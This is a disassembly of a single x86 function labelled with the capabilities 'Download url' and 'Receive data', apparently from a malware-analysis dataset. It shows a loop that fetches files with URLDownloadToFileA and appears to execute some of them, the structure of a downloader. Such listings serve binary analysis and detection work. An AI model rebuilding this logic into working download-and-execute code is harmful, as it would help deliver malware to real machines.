Function at 0x409078
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0xe
push 0
push 0
dec ecx
jne 0x409080
push ecx
push ebx
push esi
push edi
mov eax, 0x409020
call fcn.00404d84
xor eax, eax
push ebp
push 0x409485
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x14]
call fcn.004089a0
push dword [ebp - 0x14]
lea eax, [ebp - 0x18]
call fcn.004089c0
push dword [ebp - 0x18]
lea eax, [ebp - 0x1c]
call fcn.00408a0c
push dword [ebp - 0x1c]
mov eax, 0x40b7ac
mov edx, 3
call fcn.004041dc
lea eax, [ebp - 0x20]
call fcn.004089a0
push dword [ebp - 0x20]
lea eax, [ebp - 0x24]
call fcn.004089c0
push dword [ebp - 0x24]
lea eax, [ebp - 0x28]
call fcn.00408a0c
push dword [ebp - 0x28]
mov eax, 0x40b7ac
mov edx, 3
call fcn.004041dc
lea eax, [ebp - 0x2c]
call fcn.004089a0
push dword [ebp - 0x2c]
lea eax, [ebp - 0x30]
call fcn.004089c0
push dword [ebp - 0x30]
lea eax, [ebp - 0x34]
call fcn.00408a0c
push dword [ebp - 0x34]
mov eax, 0x40b7ac
mov edx, 3
call fcn.004041dc
lea eax, [ebp - 0x38]
call fcn.004089a0
push dword [ebp - 0x38]
lea eax, [ebp - 0x3c]
call fcn.004089c0
push dword [ebp - 0x3c]
lea eax, [ebp - 0x40]
call fcn.00408a0c
push dword [ebp - 0x40]
mov eax, 0x40b7ac
mov edx, 3
call fcn.004041dc
lea eax, [ebp - 0x44]
call fcn.004089a0
push dword [ebp - 0x44]
lea eax, [ebp - 0x48]
call fcn.004089c0
push dword [ebp - 0x48]
lea eax, [ebp - 0x4c]
call fcn.00408a0c
push dword [ebp - 0x4c]
push 0x40949c
mov eax, 0x40b7ac
mov edx, 4
call fcn.004041dc
call fcn.00408f90
test al, al
jne 0x40945d
xor eax, eax
push ebp
push 0x409453
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x50]
push eax
mov eax, 0x64
call fcn.00402c10
add eax, 0xa
mov dword [ebp - 0x58], eax
mov byte [ebp - 0x54], 0
lea edx, [ebp - 0x58]
xor ecx, ecx
mov eax, 0x4094c4
call fcn.004066b0
mov eax, dword [ebp - 0x50]
push eax
lea eax, [ebp - 0x5c]
call fcn.00408e38
mov edx, dword [ebp - 0x5c]
mov eax, 0x40b7a4
pop ecx
call fcn.00404168
mov eax, dword [0x40b7a4]
call fcn.00406064
test al, al
je 0x40920c
mov eax, dword [0x40b7a4]
call fcn.00406074
push 0
push 0
mov eax, dword [0x40b7a4]
call fcn.00404278
push eax
lea edx, [ebp - 0x64]
mov eax, 0xf0
call fcn.00405ee0
mov ecx, dword [ebp - 0x64]
lea eax, [ebp - 0x60]
mov edx, 0x4094d8
call fcn.00404168
mov eax, dword [ebp - 0x60]
call fcn.00404278
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
test eax, eax
jne 0x409449
mov edx, dword [0x40b7a4]
mov eax, 0x40b7b0
call fcn.00402ad0
mov eax, 0x40b7b0
call fcn.00402860
call fcn.0040262c
xor eax, eax
push ebp
push 0x409418
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x40b7b0
call fcn.00402cd4
mov dword [0x40b97c], eax
mov eax, 0x40b7b0
call fcn.00402e24
call fcn.0040262c
xor eax, eax
mov dword [0x40b980], eax
mov ebx, dword [0x40b97c]
dec ebx
test ebx, ebx
jl 0x4093f4
inc ebx
xor esi, esi
mov edx, 0x40b7a8
mov eax, 0x40b7b0
call fcn.00402db8
mov eax, 0x40b7b0
call fcn.00402e24
call fcn.0040262c
mov edx, 0x40b7a4
mov eax, 0x40b7b0
call fcn.00402db8
mov eax, 0x40b7b0
call fcn.00402e24
call fcn.0040262c
mov eax, 0x40b7b0
call fcn.00402cd4
mov edi, eax
mov eax, 0x40b7b0
call fcn.00402e24
call fcn.0040262c
lea eax, [ebp - 0x68]
call fcn.00408e64
push dword [ebp - 0x68]
push 0x409524
push dword [0x40b7a4]
mov eax, 0x40b7a4
mov edx, 3
call fcn.004041dc
test esi, esi
jne 0x409397
push dword [0x40b7a8]
lea edx, [ebp - 0x6c]
mov eax, 0xf0
call fcn.00405ee0
push dword [ebp - 0x6c]
push 0x409530
mov eax, 0x40b7a8
mov edx, 3
call fcn.004041dc
lea eax, [ebp - 0x70]
call fcn.00408e64
push dword [ebp - 0x70]
push 0x409524
push 0x409540
lea edx, [ebp - 0x74]
mov eax, 0xf0
call fcn.00405ee0
push dword [ebp - 0x74]
push 0x409550
mov eax, 0x40b7a4
mov edx, 5
call fcn.004041dc
push 0
push 0
mov eax, dword [0x40b7a4]
call fcn.00404278
push eax
mov eax, dword [0x40b7a8]
call fcn.00404278
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
test eax, eax
jne 0x4093ec
cmp edi, 1
jne 0x4093cf
mov dl, 1
mov eax, dword [0x40b7a4]
call fcn.00408e94
jmp 0x4093e6
cmp edi, 2
jne 0x4093e6
push 0
mov eax, dword [0x40b7a4]
call fcn.00404278
push eax
call fcn.00404f38
inc dword [0x40b980]
inc esi
dec ebx
jne 0x4092b4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40941f
mov eax, 0x40b7b0
call fcn.00402b98
call fcn.0040262c
xor eax, eax
call fcn.00408b34
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x40945d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40948c
lea eax, [ebp - 0x74]
mov edx, 7
call fcn.00403ec0
lea eax, [ebp - 0x50]
mov edx, 0x10
call fcn.00403ec0
ret